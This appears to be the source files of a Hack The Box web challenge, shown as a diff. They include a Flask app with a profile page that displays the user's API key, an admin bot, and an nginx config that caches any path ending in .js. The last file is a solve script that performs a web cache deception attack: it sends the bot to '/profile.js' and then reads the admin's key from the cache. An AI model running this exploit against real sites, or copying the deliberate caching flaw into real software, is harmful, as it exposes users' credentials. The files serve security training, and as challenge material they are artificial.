$(".holo-error-message").text(jsonResponse.message).css("color", "red");
}
});
});
function fetchUserProfile() {
var token = localStorage.getItem('token');
$.ajax({
url: '/profile',
type: 'GET',
headers: {
'Authorization': 'Bearer ' + token
},
success: function(response) {
displayProfileData(response);
},
error: function(xhr, status, error) {
console.log("Error fetching profile:", xhr.responseText);
if (xhr.status === 401) {
$(".holo-error-message").text("Unauthorized! Please login again.").css("color", "red");
} else {
$(".holo-error-message").text("Failed to fetch profile.").css("color", "red");
}
}
});
}
function displayProfileData(user) {
const profileHtml = `
<div class="holo-info">
<span class="holo-label">ID:</span> <span class="holo-value">${user.id}</span>
</div>
<div class="holo-info">
<span class="holo-label">Username:</span> <span class="holo-value">${user.username}</span>
</div>
<div class="holo-info">
<span class="holo-label">Email:</span> <span class="holo-value">${user.email}</span>
</div>
<div class="holo-info">
<span class="holo-label">API Key:</span> <span class="holo-value">${user.api_key}</span>
</div>
<div class="holo-info">
<span class="holo-label">Created At:</span> <span class="holo-value">${user.created_at}</span>
</div>
`;
$("#profileData").html(profileHtml);
$(".sci-fi-profile").show();
}
</script>
{% endblock %}

View File

@@ -0,0 +1,41 @@
import time, os, threading, requests
base_url = "http://0.0.0.0:1337"
admin_passwd = os.getenv("RANDOM_PASSWORD")
base_headers = {
"User-Agent": "CDNio Bot ()"
}
def login_and_get_token():
session = requests.Session()
login_url = f"{base_url}/"
payload = {
"username": "admin",
"password": admin_passwd
}
response = session.post(login_url, json=payload, headers=base_headers)
if response.status_code == 200:
token = response.json().get("token")
return token, session
else:
return None, None
def bot_runner(uri):
token, session = login_and_get_token()
headers = {
**base_headers,
"Authorization": f"Bearer {token}"
}
r = requests.get(f"{base_url}/{uri}", headers=headers)
time.sleep(5)
def bot_thread(uri):
bot_runner(uri)

View File

@@ -0,0 +1,3 @@
from app import create_app
app = create_app()

View File

@@ -0,0 +1,49 @@
user nobody;
worker_processes 1;
pid /run/nginx.pid;
events {
worker_connections 768;
}
http {
server_tokens off;
include /etc/nginx/mime.types;
default_type application/octet-stream;
proxy_cache_path /var/cache/nginx keys_zone=cache:10m max_size=1g inactive=60m use_temp_path=off;
server {
listen 1337;
server_name _;
location ~* \.(css|js|png|jpg|jpeg|gif|ico|svg|woff|woff2|ttf|eot)$ {
proxy_cache cache;
proxy_cache_valid 200 3m;
proxy_cache_use_stale error timeout updating;
expires 3m;
add_header Cache-Control "public";
proxy_pass http://unix:/tmp/gunicorn.sock;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
location / {
proxy_pass http://unix:/tmp/gunicorn.sock;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;
}
}

View File

@@ -0,0 +1,4 @@
Flask
gunicorn
pyjwt
requests

Binary file not shown.

View File

@@ -0,0 +1,40 @@
#!/bin/sh
set -e
DB_PATH="/www/app/database.db"
if [ ! -f "$DB_PATH" ]; then
sqlite3 "$DB_PATH" <<- 'EOF'
CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL UNIQUE,
password TEXT NOT NULL,
email TEXT NOT NULL UNIQUE,
api_key TEXT NOT NULL UNIQUE,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
EOF
fi
RANDOM_PASSWORD=$(openssl rand -base64 16 | tr -d '\n') && export RANDOM_PASSWORD
sqlite3 "$DB_PATH" <<- EOF
INSERT INTO users (username, password, email, api_key)
VALUES ('admin', '$RANDOM_PASSWORD', 'admin@hackthebox.com', 'HTB{f4k3_fl4g_f0r_t35t1ng}');
EOF
mkdir -p /var/cache/nginx \
&& mkdir -p /var/log/gunicorn \
&& chown -R nobody:nogroup /var/log/gunicorn \
&& chown -R nobody:nogroup /www
nginx -g 'daemon off;' &
exec su nobody -s /bin/sh -c \
"gunicorn \
--bind 'unix:/tmp/gunicorn.sock' \
--workers '2' \
--access-logfile '/var/log/gunicorn/access.log' \
wsgi:app"

View File

@@ -0,0 +1,29 @@
import requests
import random
import string
ALPHABET = string.ascii_letters
URL = "http://154.57.164.75:32624"
# register a new account
username = "".join(ALPHABET[random.randint(0, len(ALPHABET) - 1)] for _ in range(20))
pw = "pw"
email = username
res = requests.post(f"{URL}/register", json={"username": username, "password": pw, "email": email})
print(res.text)
# log into the new account
res = requests.post(f"{URL}", json={"username": username, "password": pw})
token = res.json()["token"]
print(f"[+] token = {token}")
# send the bot to /profile.js
uri = "profile.js"
res = requests.post(f"{URL}/visit", headers={"Authorization": f"Bearer {token}"}, json={"uri": uri})
print(res.text)
# retrieve the cached result
res = requests.get(f"{URL}/{uri}")
print(res.text)